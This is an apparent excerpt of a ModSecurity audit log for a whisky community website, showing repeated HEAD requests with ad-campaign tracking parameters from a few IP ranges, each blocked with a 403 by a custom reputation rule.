Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265010084190 5510 (- - -)
Stopwatch2: 1789265010084190 5510; combined=4118, p1=229, p2=3526, p3=60, p4=7, p5=296, sr=85, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5fc84942-Z--
--c6df4b20-A--
[13/Sep/2026:05:03:49.251695 +0300] aqYEhTTJ6xTvcJoem7f1FAAAAEY 151.243.174.160 58842 127.0.0.1 7081
--c6df4b20-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.160
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--c6df4b20-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c6df4b20-E--
--c6df4b20-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265029245127 6664 (- - -)
Stopwatch2: 1789265029245127 6664; combined=4911, p1=298, p2=4132, p3=73, p4=7, p5=401, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c6df4b20-Z--
--6e6dad48-A--
[13/Sep/2026:05:03:50.743482 +0300] aqYEhmM7dE9KgIIOpQhb9QAAAMk 95.134.102.199 58856 127.0.0.1 7081
--6e6dad48-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.199
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--6e6dad48-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6e6dad48-E--
--6e6dad48-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265030737264 6256 (- - -)
Stopwatch2: 1789265030737264 6256; combined=4771, p1=228, p2=4209, p3=80, p4=8, p5=246, sr=98, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6e6dad48-Z--
--6376c723-A--
[13/Sep/2026:05:03:52.208228 +0300] aqYEiDTJ6xTvcJoem7f1FQAAAFU 151.243.174.103 58868 127.0.0.1 7081
--6376c723-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.103
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--6376c723-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6376c723-E--
--6376c723-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265032194356 13912 (- - -)
Stopwatch2: 1789265032194356 13912; combined=10550, p1=1019, p2=9104, p3=149, p4=14, p5=264, sr=140, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6376c723-Z--
--53c0f73b-A--
[13/Sep/2026:05:04:18.701320 +0300] aqYEokwu1RSkptiiNIXs0wAAAIU 45.91.4.240 56250 127.0.0.1 7081
--53c0f73b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.240
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--53c0f73b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--53c0f73b-E--
--53c0f73b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265058693483 7876 (- - -)
Stopwatch2: 1789265058693483 7876; combined=5490, p1=484, p2=4657, p3=84, p4=9, p5=256, sr=186, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--53c0f73b-Z--
--3e65fa7e-A--
[13/Sep/2026:05:04:19.185274 +0300] aqYEozTJ6xTvcJoem7f1FwAAAE4 45.91.4.243 56254 127.0.0.1 7081
--3e65fa7e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.243
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--3e65fa7e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--3e65fa7e-E--
--3e65fa7e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265059178185 7127 (- - -)
Stopwatch2: 1789265059178185 7127; combined=5272, p1=223, p2=4662, p3=78, p4=8, p5=300, sr=91, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3e65fa7e-Z--
--d035486c-A--
[13/Sep/2026:05:04:19.622447 +0300] aqYEozTJ6xTvcJoem7f1GAAAAEw 209.101.128.25 56264 127.0.0.1 7081
--d035486c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--d035486c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d035486c-E--
--d035486c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265059615965 6528 (- - -)
Stopwatch2: 1789265059615965 6528; combined=4984, p1=203, p2=4385, p3=75, p4=9, p5=311, sr=83, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d035486c-Z--
--855a7c45-A--
[13/Sep/2026:05:04:24.307484 +0300] aqYEqDTJ6xTvcJoem7f1GwAAAFI 151.243.174.114 56288 127.0.0.1 7081
--855a7c45-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.114
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--855a7c45-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--855a7c45-E--
--855a7c45-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265064298936 8592 (- - -)
Stopwatch2: 1789265064298936 8592; combined=6473, p1=293, p2=5627, p3=131, p4=9, p5=412, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--855a7c45-Z--
--99589b4d-A--
[13/Sep/2026:05:04:24.487316 +0300] aqYEqGM7dE9KgIIOpQhb@AAAANA 151.243.174.45 56302 127.0.0.1 7081
--99589b4d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.45
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--99589b4d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--99589b4d-E--
--99589b4d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265064472787 14596 (- - -)
Stopwatch2: 1789265064472787 14596; combined=7096, p1=272, p2=6352, p3=123, p4=10, p5=339, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--99589b4d-Z--
--24ef961b-A--
[13/Sep/2026:05:04:24.650357 +0300] aqYEqDTJ6xTvcJoem7f1HAAAAFM 95.134.102.249 56304 127.0.0.1 7081
--24ef961b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.249
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--24ef961b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--24ef961b-E--
--24ef961b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265064641802 8597 (- - -)
Stopwatch2: 1789265064641802 8597; combined=6379, p1=320, p2=5692, p3=90, p4=11, p5=266, sr=138, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--24ef961b-Z--
--d2037d44-A--
[13/Sep/2026:05:04:24.769463 +0300] aqYEqGM7dE9KgIIOpQhb@QAAAMw 95.134.102.169 56318 127.0.0.1 7081
--d2037d44-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.169
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--d2037d44-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d2037d44-E--
--d2037d44-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265064761669 7841 (- - -)
Stopwatch2: 1789265064761669 7841; combined=5733, p1=279, p2=5051, p3=89, p4=9, p5=305, sr=119, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d2037d44-Z--
--1853b25c-A--
[13/Sep/2026:05:04:25.426360 +0300] aqYEqUwu1RSkptiiNIXs1QAAAIk 151.243.174.19 56324 127.0.0.1 7081
--1853b25c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.19
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--1853b25c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1853b25c-E--
--1853b25c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265065418750 7650 (- - -)
Stopwatch2: 1789265065418750 7650; combined=5552, p1=308, p2=4880, p3=85, p4=8, p5=270, sr=133, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1853b25c-Z--
--508be801-A--
[13/Sep/2026:05:04:25.963041 +0300] aqYEqUwu1RSkptiiNIXs1wAAAI8 151.243.174.18 38662 127.0.0.1 7081
--508be801-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.18
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--508be801-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--508be801-E--
--508be801-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265065956645 6437 (- - -)
Stopwatch2: 1789265065956645 6437; combined=4821, p1=297, p2=4208, p3=73, p4=7, p5=235, sr=138, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--508be801-Z--
--8f3d6f08-A--
[13/Sep/2026:05:04:40.399517 +0300] aqYEuGM7dE9KgIIOpQhb-QAAAM8 95.134.102.128 43634 127.0.0.1 7081
--8f3d6f08-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.128
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--8f3d6f08-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8f3d6f08-E--
--8f3d6f08-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265080386902 12660 (- - -)
Stopwatch2: 1789265080386902 12660; combined=5982, p1=962, p2=4636, p3=86, p4=9, p5=289, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8f3d6f08-Z--
--e768f17c-A--
[13/Sep/2026:05:04:44.776187 +0300] aqYEvGM7dE9KgIIOpQhb-wAAANU 95.134.102.190 43654 127.0.0.1 7081
--e768f17c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.190
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--e768f17c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--e768f17c-E--
--e768f17c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265084769990 6235 (- - -)
Stopwatch2: 1789265084769990 6235; combined=4644, p1=252, p2=3997, p3=108, p4=7, p5=279, sr=107, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e768f17c-Z--
--b9d01776-A--
[13/Sep/2026:05:04:48.731194 +0300] aqYEwEwu1RSkptiiNIXs3AAAAJY 151.243.174.181 60894 127.0.0.1 7081
--b9d01776-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.181
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--b9d01776-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b9d01776-E--
--b9d01776-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265088723442 7798 (- - -)
Stopwatch2: 1789265088723442 7798; combined=5642, p1=320, p2=4979, p3=70, p4=7, p5=266, sr=113, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b9d01776-Z--
--98c64347-A--
[13/Sep/2026:05:05:02.840261 +0300] aqYEzkwu1RSkptiiNIXs3wAAAIU 45.91.4.236 38908 127.0.0.1 7081
--98c64347-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.236
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--98c64347-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--98c64347-E--
--98c64347-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265102790181 50135 (- - -)
Stopwatch2: 1789265102790181 50135; combined=39839, p1=3786, p2=28152, p3=95, p4=11, p5=7795, sr=181, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--98c64347-Z--
--8f89892f-A--
[13/Sep/2026:05:05:03.880192 +0300] aqYEz2M7dE9KgIIOpQhcAgAAAMk 45.91.4.188 38914 127.0.0.1 7081
--8f89892f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.188
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--8f89892f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8f89892f-E--
--8f89892f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265103856572 23674 (- - -)
Stopwatch2: 1789265103856572 23674; combined=21278, p1=269, p2=16144, p3=148, p4=10, p5=4707, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8f89892f-Z--
--8d7b3a30-A--
[13/Sep/2026:05:05:04.823280 +0300] aqYE0GM7dE9KgIIOpQhcAwAAAMU 45.91.4.215 38926 127.0.0.1 7081
--8d7b3a30-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--8d7b3a30-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8d7b3a30-E--
--8d7b3a30-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265104811763 11574 (- - -)
Stopwatch2: 1789265104811763 11574; combined=7452, p1=374, p2=6565, p3=137, p4=15, p5=360, sr=147, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8d7b3a30-Z--
--02634f19-A--
